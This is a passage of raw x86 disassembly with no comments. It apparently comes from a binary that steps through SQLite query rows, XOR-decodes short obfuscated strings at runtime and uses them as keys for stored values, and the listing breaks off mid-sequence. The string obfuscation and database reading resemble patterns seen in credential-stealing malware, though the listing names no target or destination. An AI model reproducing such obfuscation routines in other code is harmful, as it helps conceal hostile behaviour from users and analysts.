lea esi, [ebp - 0x4a4]
mov ecx, dword [ebp - 0x4a4]
cmp edx, 0x10
setae al
cmovae esi, ecx
test al, al
je 0x42a39c
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x42a392
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push edx
push ecx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0x44]
lea eax, [ebp - 0x48]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
mov edx, esi
mov dword [ebp - 0x494], 0
mov dword [ebp - 0x490], 0xf
mov byte [ebp - 0x4a4], 0
call fcn.004e0800
add esp, 0x14
test eax, eax
jne 0x42b2c2
mov esi, dword [ebp - 0x48]
mov ecx, esi
call fcn.004bd060
cmp eax, 0x64
jne 0x42b24a
nop dword [eax + eax]
test esi, esi
je 0x42a445
cmp dword [esi + 0x2c], 0
je 0x42a420
mov eax, 2
cmp ax, word [esi + 0x30]
jae 0x42a420
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42a418
push eax
call dword [0x55ad18]
add esp, 4
mov ecx, dword [esi + 0x2c]
add ecx, 0x50
jmp 0x42a44a
mov eax, dword [esi]
test eax, eax
je 0x42a445
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42a437
push eax
call dword [0x55ad18]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.004ab9b0
add esp, 0xc
mov ecx, 0x5404d0
mov dl, 1
call fcn.004b9ed0
mov dword [ebp - 0x28], eax
test esi, esi
je 0x42a4a7
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x42a48a
cmp byte [edi + 0x1e], 0
jne 0x42a46f
cmp ecx, 0xc0a
jne 0x42a485
push 0
push 7
push edi
call fcn.004ab9b0
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x42a48f
mov eax, 0xff
and ecx, eax
mov dword [esi + 0x64], ecx
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42a4a7
push eax
call dword [0x55ad20]
add esp, 4
mov edx, 3
mov ecx, esi
call fcn.004bd660
mov edx, 3
mov dword [ebp - 0x68], eax
mov ecx, esi
call fcn.004bd750
mov dword [ebp - 0x20], eax
test esi, esi
je 0x42a514
cmp dword [esi + 0x2c], 0
je 0x42a4ef
xor eax, eax
cmp ax, word [esi + 0x30]
jae 0x42a4ef
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42a4ea
push eax
call dword [0x55ad18]
add esp, 4
mov ecx, dword [esi + 0x2c]
jmp 0x42a519
mov eax, dword [esi]
test eax, eax
je 0x42a514
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42a506
push eax
call dword [0x55ad18]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.004ab9b0
add esp, 0xc
mov ecx, 0x5404d0
mov dl, 1
call fcn.004b9ed0
mov dword [ebp - 0x3c], eax
test esi, esi
je 0x42a576
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x42a559
cmp byte [edi + 0x1e], 0
jne 0x42a53e
cmp ecx, 0xc0a
jne 0x42a554
push 0
push 7
push edi
call fcn.004ab9b0
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x42a55e
mov eax, 0xff
and ecx, eax
mov dword [esi + 0x64], ecx
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42a576
push eax
call dword [0x55ad20]
add esp, 4
mov ecx, dword [ebp - 0x3c]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a580
sub ecx, edx
jne 0x42a645
test esi, esi
je 0x42a5e3
cmp dword [esi + 0x2c], ecx
je 0x42a5be
mov eax, 1
cmp ax, word [esi + 0x30]
jae 0x42a5be
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42a5b6
push eax
call dword [0x55ad18]
add esp, 4
mov ecx, dword [esi + 0x2c]
add ecx, 0x28
jmp 0x42a5e8
mov eax, dword [esi]
test eax, eax
je 0x42a5e3
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42a5d5
push eax
call dword [0x55ad18]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.004ab9b0
add esp, 0xc
mov ecx, 0x5404d0
mov dl, 1
call fcn.004b9ed0
mov dword [ebp - 0x3c], eax
test esi, esi
je 0x42a645
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x42a628
cmp byte [edi + 0x1e], 0
jne 0x42a60d
cmp ecx, 0xc0a
jne 0x42a623
push 0
push 7
push edi
call fcn.004ab9b0
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x42a62d
mov eax, 0xff
and eax, ecx
mov dword [esi + 0x64], eax
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42a645
push eax
call dword [0x55ad20]
add esp, 4
xorps xmm0, xmm0
mov dword [ebp - 0x3e0], 0
movups xmmword [ebp - 0x3f0], xmm0
mov dword [ebp - 0x3dc], 0xf
mov byte [ebp - 0x3f0], 0
mov esi, dword [ebp - 0x68]
lea ecx, [ebp - 0x4bc]
mov byte [ebp - 4], 0x52
push dword [ebp - 0x20]
movups xmmword [ebp - 0x4bc], xmm0
push esi
mov dword [ebp - 0x4ac], 0
mov dword [ebp - 0x4a8], 0
call fcn.00402b80
cmp byte [ebp - 0x29], 0
mov byte [ebp - 4], 0x53
je 0x42a829
xorps xmm0, xmm0
mov word [ebp - 0xaa], 0xb9f1
mov byte [ebp - 0xa8], 0xb9
xor ecx, ecx
movq qword [ebp - 0xa7], xmm0
mov word [ebp - 0x9f], 0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xaa], al
inc ecx
cmp ecx, 3
jb 0x42a6d0
mov dword [0x55d590], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xaa]
mov byte [ebp - 0xa7], 0
movups xmmword [ebp - 0x310], xmm0
mov dword [ebp - 0x300], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2fc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a715
sub ecx, edx
lea eax, [ebp - 0xaa]
push ecx
push eax
lea ecx, [ebp - 0x310]
call fcn.00402b80
mov eax, dword [ebp - 0x14]
or eax, 0x8000000
or eax, 0x100000
mov byte [ebp - 4], 0x54
cmp dword [ebp - 0x2fc], 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x310]
cmovae eax, dword [ebp - 0x310]
push eax
push esi
call fcn.004fc740
add esp, 8
test eax, eax
jne 0x42a823
xorps xmm0, xmm0
mov word [ebp - 0x9d], 0xb9f1
mov byte [ebp - 0x9b], 0xb8
xor ecx, ecx
movq qword [ebp - 0x9a], xmm0
mov word [ebp - 0x92], ax
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x9d], al
inc ecx
cmp ecx, 3
jb 0x42a792
mov dword [0x55d590], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x9d]
mov byte [ebp - 0x9a], 0
movups xmmword [ebp - 0x328], xmm0
mov dword [ebp - 0x318], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x314], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a7d7
sub ecx, edx
lea eax, [ebp - 0x9d]
push ecx
push eax
lea ecx, [ebp - 0x328]
call fcn.00402b80
mov eax, dword [ebp - 0x14]
or eax, 0x200000
cmp dword [ebp - 0x314], 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x328]
cmovae eax, dword [ebp - 0x328]
push eax
push esi
call fcn.004fc740
add esp, 8
test eax, eax
je 0x42a829
mov byte [ebp - 0x15], 1
jmp 0x42a82d
mov byte [ebp - 0x15], 0
mov eax, dword [ebp - 0x14]
test eax, 0x200000
je 0x42a89a
mov ecx, dword [ebp - 0x314]
and eax, 0xffdfffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42a87f
mov edx, dword [ebp - 0x328]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a872
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x318], 0
mov dword [ebp - 0x314], 0xf
mov byte [ebp - 0x328], 0
mov dword [ebp - 4], 0x53
test eax, 0x100000
je 0x42a908
mov ecx, dword [ebp - 0x2fc]
and eax, 0xffefffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42a8ed
mov edx, dword [ebp - 0x310]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a8e3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x300], 0
mov dword [ebp - 0x2fc], 0xf
mov byte [ebp - 0x310], 0
cmp byte [ebp - 0x15], 0
je 0x42a950
sub esp, 0x18
lea eax, [ebp - 0x4bc]
mov ecx, esp
mov dword [ebp - 0x274], esp
push eax
call fcn.00483010
sub esp, 0x18
mov byte [ebp - 4], 0x55
lea eax, [ebp - 0x1b0]
mov ecx, esp
push eax
call fcn.00483010
xor dl, dl
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0x3f0]
call fcn.00426f20
add esp, 0x30
jmp 0x42a961
push ecx
lea edx, [ebp - 0x3f0]
mov ecx, esi
call fcn.00426df0
add esp, 4
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0x2a8]
push 0
mov byte [ebp - 0x2b0], 0
call fcn.00484a10
mov eax, dword [ebp - 0x24]
mov byte [ebp - 4], 0x57
movaps xmm0, xmmword [0x547aa0]
movups xmmword [ebp - 0x4cc], xmm0
lea ecx, [eax + eax*2]
mov byte [ebp - 0x4cd], 0xf7
mov eax, dword [ebp - 0x38]
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x110], xmm0
mov byte [ebp - 0x118], 3
lea esi, [eax + ecx*8]
call fcn.004fae70
lea ecx, [ebp - 0x61]
mov dword [ebp - 0x3bc], eax
add esp, 4
mov dword [ebp - 0x3c0], ecx
push esi
mov ecx, eax
mov byte [ebp - 4], 0x58
call fcn.00483010
mov eax, dword [ebp - 0x3bc]
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x3bc], 0
mov dword [ebp - 0x10c], eax
mov byte [ebp - 4], 0x59
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4cd], al
inc ecx
cmp ecx, 7
jb 0x42aa00
mov dword [0x55d560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x4cd]
mov byte [ebp - 0x4c6], 0
movups xmmword [ebp - 0x2f8], xmm0
mov dword [ebp - 0x2e8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2e4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42aa45
sub ecx, edx
lea eax, [ebp - 0x4cd]
push ecx
push eax
lea ecx, [ebp - 0x2f8]
call fcn.00402b80
mov eax, dword [ebp - 0x14]
or eax, 0x4000000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x5a
lea eax, [ebp - 0x2f8]
cmp dword [ebp - 0x2e4], 0x10
lea ecx, [ebp - 0x2b0]
cmovae eax, dword [ebp - 0x2f8]
push eax
call fcn.00486ff0
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0x118]
mov byte [edi], cl
mov ecx, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x110]
mov byte [ebp - 0x118], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x110], edx
mov dword [ebp - 0x10c], esi
call fcn.00480b00
mov byte [ebp - 4], 0x57
mov ecx, dword [ebp - 0x2e4]
cmp ecx, 0x10
jb 0x42ab12
mov edx, dword [ebp - 0x2f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42ab08
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x2e8], 0
push 0x18
mov dword [ebp - 0x2e4], 0xf
mov byte [ebp - 0x2f8], 0
mov word [ebp - 0x90], 0xfaf2
mov byte [ebp - 0x8e], 0xe5
movq qword [ebp - 0x8d], xmm0
mov word [ebp - 0x85], 0
movq qword [ebp - 0x158], xmm0
mov byte [ebp - 0x160], 3
call fcn.004fae70
mov edx, eax
add esp, 4
lea eax, [ebp - 0x62]
mov dword [ebp - 0x298], edx
mov dword [ebp - 0x29c], eax
mov edi, dword [ebp - 0x3c]
xorps xmm0, xmm0
mov byte [ebp - 4], 0x5c
mov ecx, edi
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42aba0
sub ecx, esi
push ecx
push edi
mov ecx, edx
call fcn.00402b80
mov eax, dword [ebp - 0x298]
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x158], eax
mov byte [ebp - 4], 0x5d
xor ecx, ecx
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x90], al
inc ecx
cmp ecx, 3
jb 0x42abd0
mov dword [0x55d590], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x90]
mov byte [ebp - 0x8d], 0
movups xmmword [ebp - 0x2e0], xmm0
mov dword [ebp - 0x2d0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2cc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42ac15
sub ecx, edx
lea eax, [ebp - 0x90]
push ecx
push eax
lea ecx, [ebp - 0x2e0]
call fcn.00402b80
mov eax, dword [ebp - 0x14]
or eax, 0x2000000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x5e
lea eax, [ebp - 0x2e0]
cmp dword [ebp - 0x2cc], 0x10
lea ecx, [ebp - 0x2b0]
cmovae eax, dword [ebp - 0x2e0]
push eax
call fcn.00486ff0
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0x160]
mov byte [edi], cl
mov ecx, dword [ebp - 0x154]
mov eax, dword [ebp - 0x158]
mov byte [ebp - 0x160], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x160]
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x154], esi
call fcn.00480b00
mov byte [ebp - 4], 0x57
mov ecx, dword [ebp - 0x2cc]
cmp ecx, 0x10
jb 0x42ace2
mov edx, dword [ebp - 0x2e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42acd8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x2d0], 0
push 0x18
mov dword [ebp - 0x2cc], 0xf
mov byte [ebp - 0x2e0], 0
mov dword [ebp - 0x83], 0xe3eee7eb
mov byte [ebp - 0x7f], 0xe5
movq qword [ebp - 0x7e], xmm0
mov word [ebp - 0x76], 0
movq qword [ebp - 0x168], xmm0
mov byte [ebp - 0x170], 3
call fcn.004fae70
mov edx, eax
add esp, 4
lea eax, [ebp - 0x63]
mov dword [ebp - 0x290], edx
mov dword [ebp - 0x294], eax
mov edi, dword [ebp - 0x28]
xorps xmm0, xmm0
mov byte [ebp - 4], 0x60
mov ecx, edi
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42ad63
sub ecx, esi
push ecx
push edi
mov ecx, edx
call fcn.00402b80
mov eax, dword [ebp - 0x290]
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x168], eax
mov byte [ebp - 4], 0x61
xor ecx, ecx
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x83], al
inc ecx
cmp ecx, 5
jb 0x42ad91
mov dword [0x55d544], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x83]
mov byte [ebp - 0x7e], 0
movups xmmword [ebp - 0x2c8], xmm0
mov dword [ebp - 0x2b8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2b4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42add3
sub ecx, edx
lea eax, [ebp - 0x83]
push ecx
push eax
lea ecx, [ebp - 0x2c8]
call fcn.00402b80
mov eax, dword [ebp - 0x14]
or eax, 0x1000000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x62
lea eax, [ebp - 0x2c8]
cmp dword [ebp - 0x2b4], 0x10
lea ecx, [ebp - 0x2b0]
cmovae eax, dword [ebp - 0x2c8]
push eax
call fcn.00486ff0
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0x170]
mov byte [edi], cl
mov ecx, dword [ebp - 0x164]
mov eax, dword [ebp - 0x168]
mov byte [ebp - 0x170], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x168], edx
mov dword [ebp - 0x164], esi
call fcn.00480b00
mov byte [ebp - 4], 0x57
mov ecx, dword [ebp - 0x2b4]
cmp ecx, 0x10
jb 0x42aea0
mov edx, dword [ebp - 0x2c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42ae96
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x547c40]
movups xmmword [ebp - 0x430], xmm0
mov dword [ebp - 0x2b8], 0
xorps xmm0, xmm0
mov dword [ebp - 0x2b4], 0xf
push 0x18
mov byte [ebp - 0x2c8], 0
mov word [ebp - 0x432], 0xe9f7
movq qword [ebp - 0x120], xmm0
mov byte [ebp - 0x128], 3
call fcn.004fae70
lea ecx, [ebp - 0x64]
mov dword [ebp - 0xb4], eax
add esp, 4
mov dword [ebp - 0xb8], ecx
lea ecx, [ebp - 0x3f0]
mov byte [ebp - 4], 0x64
push ecx
mov ecx, eax
call fcn.00483010
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x11c], eax
mov byte [ebp - 4], 0x65
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x432], al
inc ecx
cmp ecx, 8
jb 0x42af40
mov dword [0x55d624], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x432]
mov byte [ebp - 0x42a], 0
movups xmmword [ebp - 0x28c], xmm0
mov dword [ebp - 0x27c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x278], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42af85
sub ecx, edx
lea eax, [ebp - 0x432]
push ecx
push eax
lea ecx, [ebp - 0x28c]
call fcn.00402b80
mov eax, dword [ebp - 0x14]
or eax, 0x800000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x66
lea eax, [ebp - 0x28c]
cmp dword [ebp - 0x278], 0x10
lea ecx, [ebp - 0x2b0]
cmovae eax, dword [ebp - 0x28c]
push eax
call fcn.00486ff0
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0x128]
mov byte [edi], cl
mov ecx, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x120]
mov byte [ebp - 0x128], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x128]
mov dword [ebp - 0x120], edx
mov dword [ebp - 0x11c], esi
call fcn.00480b00
mov byte [ebp - 4], 0x57
mov ecx, dword [ebp - 0x278]
cmp ecx, 0x10
jb 0x42b052
mov edx, dword [ebp - 0x28c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b048
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x548510]
xor ecx, ecx
mov dword [ebp - 0x27c], 0
mov dword [ebp - 0x278], 0xf
mov byte [ebp - 0x28c], 0
movups xmmword [ebp - 0x537], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x537], al
inc ecx
cmp ecx, 6
jb 0x42b080
mov dword [0x55d548], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x537]
mov byte [ebp - 0x531], 0
movups xmmword [ebp - 0x3d8], xmm0
mov dword [ebp - 0x3c8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3c4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b0c5
sub ecx, edx
lea eax, [ebp - 0x537]
push ecx
push eax
lea ecx, [ebp - 0x3d8]
call fcn.00402b80
mov eax, dword [ebp - 0x14]
or eax, 0x400000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0x3d8]
cmp dword [ebp - 0x3c4], 0x10
mov ecx, dword [ebp - 0xb0]
cmovae eax, dword [ebp - 0x3d8]
push eax
call fcn.00486ff0
lea ecx, [ebp - 0x2b0]
push ecx
mov ecx, eax
call fcn.00480490
mov byte [ebp - 4], 0x57
mov ecx, dword [ebp - 0x3c4]
cmp ecx, 0x10
jb 0x42b15f
mov edx, dword [ebp - 0x3d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b155
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
lea ecx, [ebp - 0x2b0]
mov dword [ebp - 0x3c8], 0
mov dword [ebp - 0x3c4], 0xf
mov byte [ebp - 0x3d8], 0
call fcn.00480b00
mov byte [ebp - 4], 0x52
mov ecx, dword [ebp - 0x4a8]
cmp ecx, 0x10
jb 0x42b1c3
mov edx, dword [ebp - 0x4bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b1b9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x51
mov ecx, dword [ebp - 0x3dc]
mov dword [ebp - 0x4ac], 0
mov dword [ebp - 0x4a8], 0xf
mov byte [ebp - 0x4bc], 0
cmp ecx, 0x10
jb 0x42b21c
mov edx, dword [ebp - 0x3f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b212
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov esi, dword [ebp - 0x48]
mov ecx, esi
mov dword [ebp - 0x3e0], 0
mov dword [ebp - 0x3dc], 0xf
mov byte [ebp - 0x3f0], 0
call fcn.004bd060
cmp eax, 0x64
je 0x42a3f0
test esi, esi
je 0x42b2c2
mov edi, dword [esi]
mov eax, dword [edi + 0x44]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x42b264
push eax
call dword [0x55ad18]
add esp, 4
mov eax, dword [esi + 0x50]
mov dword [ebp - 0x28], 0
cmp eax, 0xbdf20da3
je 0x42b27c
cmp eax, 0x519c2973
jne 0x42b286
mov ecx, esi
call fcn.004bbe30
mov dword [ebp - 0x28], eax
mov ecx, esi
call fcn.004bc040
test edi, edi
je 0x42b2b1
cmp byte [edi + 0x1e], 0
jne 0x42b2a0
cmp dword [ebp - 0x28], 0xc0a
jne 0x42b2b1
push 0
push 7
push edi
call fcn.004ab9b0
add esp, 0xc
mov byte [edi + 0x1e], 0
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x42b2c2
push eax
call dword [0x55ad20]
add esp, 4
mov ecx, dword [ebp - 0x44]
call fcn.00419b90
mov byte [ebp - 4], 0x3d
mov ecx, dword [ebp - 0x200]
cmp ecx, 0x10
jb 0x42b308
mov edx, dword [ebp - 0x214]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b2fe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x3c
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x200], 0xf
mov byte [ebp - 0x214], 0
cmp ecx, 0x10
jb 0x42b361
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b357
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x584]
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0xf
mov byte [ebp - 0x1b0], 0
cmp ecx, 0x10
jb 0x42b3ba
mov edx, dword [ebp - 0x598]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b3b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0x34]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x38]
mov edi, dword [ebp - 0x24]
imul ecx
inc edi
mov dword [ebp - 0x588], 0
sar edx, 2
mov eax, edx
mov dword [ebp - 0x584], 0xf
shr eax, 0x1f
add eax, edx
mov byte [ebp - 0x598], 0
mov dword [ebp - 0x24], edi
cmp edi, eax
jb 0x4289f0
mov ecx, dword [ebp - 0x3f4]
cmp ecx, 0x10
jb 0x42b435
mov edx, dword [ebp - 0x408]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b42b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0x59c]
mov dword [ebp - 0x3f8], 0
mov dword [ebp - 0x3f4], 0xf
mov byte [ebp - 0x408], 0
cmp ecx, 0x10
jb 0x42b48a
mov edx, dword [ebp - 0x5b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b480
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x5a0], 0
mov dword [ebp - 0x59c], 0xf
mov byte [ebp - 0x5b0], 0
call fcn.00485200
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x42b4e1
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b4d7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebx + 0x20]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
cmp ecx, 0x10
jb 0x42b527
mov edx, dword [ebx + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b51d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebx + 0x38]
mov dword [ebx + 0x1c], 0
mov dword [ebx + 0x20], 0xf
mov byte [ebx + 0xc], 0
cmp ecx, 0x10
jb 0x42b56d
mov edx, dword [ebx + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b563
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebx + 0x50]
mov dword [ebx + 0x34], 0
mov dword [ebx + 0x38], 0xf
mov byte [ebx + 0x24], 0
cmp ecx, 0x10
jb 0x42b5af
mov edx, dword [ebx + 0x3c]
inc ecx
mov eax, edx
